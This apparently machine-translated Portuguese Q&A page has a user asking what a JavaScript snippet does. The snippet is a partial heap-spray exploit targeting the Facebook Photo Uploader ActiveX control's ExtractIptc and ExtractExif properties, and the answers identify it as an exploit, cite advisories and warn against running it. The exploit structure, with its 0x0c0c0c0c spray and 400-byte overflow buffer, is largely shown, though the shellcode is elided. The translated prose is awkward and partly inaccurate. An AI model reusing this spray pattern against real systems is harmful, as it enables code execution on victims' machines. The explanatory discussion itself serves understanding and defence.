Eu não entendo este Código
-
19-08-2019 - |
Pergunta
Eu não entendo este trecho de código:
function ms(){
var plc=unescape('".
unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage();
if (mf)return(0);
mf=1;
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++) m[i]=ss+plc;
hav();
return(1);
}
Na função acima eu não consigo descobrir os tipos de variáveis, ou descobrir o que está fazendo com a variável hsta
, eo que está atribuindo a ele:
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
Eu também não podem descobrir esta função:
function fb(){
try {
var obj=null;
obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 400) buf += buf;
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
}
} catch(e){}
return 0;
}
O que a média código a seguir?
cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')
Que tipo de variável é isso?
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
O mais importante, o que é que o código snippet tentando fazer?
Aqui estão mais algumas funções:
function hex(num,width){
var digits='0123456789ABCDEF';
var hex=digits.substr(num&0xF,1);
while(num>0xF){
num=num>>>4;
hex=digits.substr(num&0xF,1)+hex;
}
var width=(width?width:0);
while(hex.length<width)hex='0'+hex;
return hex;
}
function addr(addr){
return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
}
Qualquer orientação seria apreciada.
Solução
É um fragmento de JavaScript que tenta explorar uma vulnerabilidade de segurança relacionada ao Facebook, mais especificamente à sua imagem Uploader lado do cliente controle ActiveX.
A parte cobj
tenta criar um objeto de ClassID {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}
que acontece de ser uma foto ActiveX uploader de controle. As funções ExtractIptc e ExtractExif pertencem a esse controle ActiveX específico.
O núcleo do código é realmente endereço de manipulação de memória, mudando, usando máscaras para separar os bits altos e baixos. Por exemplo, hex((addr>>16)&0xFFFF,4))
leva um endereço, desloca 16 bits para a direita, apura-se a parte inferior e converte para um número hexadecimal. Para entender realmente a maior parte deste código, você deve ter as ferramentas de depuração certas.
pesquisando o {5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}
ClassID deu alguns resultados interessantes que você deve olhar para:
http://www.kb.cert.org/vuls/id/776931
http://seclists.org/fulldisclosure/2008/Feb/0023.html
http://securitytracker.com/alerts/2008/Feb/1019297.html
Por favor nota, esta não é PHP. É de javascript.
Mais detalhes ...
cobj é provavelmente traduzido em uma chamada CreateObject (). Cada controle ActiveX registrado tem a sua própria classe ID, e eles têm a forma {0000000000-0000-0000-0000-000000000000}
. Quando você quer se referir à biblioteca registrada, e criar uma instância dele, você pode usar o seu nome ou a sua classe ID.
O controle ActiveX em si deve ser um arquivo .ocx ou DLL no seu computador. Se você pode encontrar este arquivo e depurá-lo, você vai ter a maioria dos detalhes específicos sobre as funções ExtractIptc e ExtractExif. Mais uma vez, essas duas funções parecem ter vulnerabilidades quando chamado de uma maneira específica, e é isso que o script está tentando explorar.
A parte var hsta=0x0c0c0c0c
define um hsta variável, igual ao número hexadecimal 0c0c0c0c. É o mesmo que escrever var hsta = 202116108
. Em engenharia da computação, é mais fácil lidar com endereços hexadecimais do que números decimais desde endereços e dados dentro da memória do computador é binário e pode ser directamente representados como um número hexadecimal. Mais detalhes sobre hexadecimal lá: http://en.wikipedia.org/wiki/Hexadecimal .
O nome HSTA variável parece estar em notação húngara (primeira letra representa o tipo de variável - h para hex). Gostaria, portanto, supor que significa endereço hexadecimal início (HSTA). Seguindo a mesma linha de pensamento, o meu palpite é que o código payload meios pl
carga e meios plc
.
O código de carga útil é o código do computador será executado se o exploit foi bem sucedida, e é o que você vê no início do (\x43\x43\x43\x43\n....\xEF)
script. É codificado como código shell href="https://stackoverflow.com/questions/1469559/help-me-understand-this-c-code-void-scode"> para uma arquitetura de CPU particular e operacional sistema. Esse código significa que já está compilado, autônomo, e pode ser canalizado para o CPU diretamente. Se você decodificar isso, você provavelmente vai encontrar algo próximo ao código de máquina. Provavelmente não é nada positivo.
A função hex(num,width)
converte um número decimal à sua forma hexadecimal. Eu testei a função separadamente, e voltou 3E8 quando alimentando-o de 1000. A variável largura é usado simplesmente para sair do script se o número hexadecimal resultante é maior que o especificado.
Sobre esta parte:
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
A variável buf é um tampão. Um buffer é nada mais do que os dados na memória. Ele pode ser conectado como uma string, como mostrado neste código. Meu palpite is que um tampão de 400 bytes é criado a partir de qualquer conteúdo está na memória em 0x0c0c0c0c, e, em seguida, alimentado para duas funções.
Existem várias definições de funções ausentes aqui. Ou seja, a função hav ().
Outras dicas
Eu fixo a formatação tanto quanto eu podia, mas ainda parecem ser pedaços que faltam. Pelo menos, eu estou vendo erros de sintaxe, variáveis ??não inicializadas, etc.
Se este é o código de trabalho real Edite sua pergunta e (usando o botão "código" "101/010" ou simplesmente recuar 4 espaços ao invés de citar com o botão '"') postar o código real para que o que vemos jogos que você está vendo EDIT:.!. NÃO TENTE executar este código a sua provavelmente malicioso
Se ele não estiver funcionando o código, não é a sua resposta:. Ela não funciona, de modo a tentar descobrir como ele funciona não faz sentido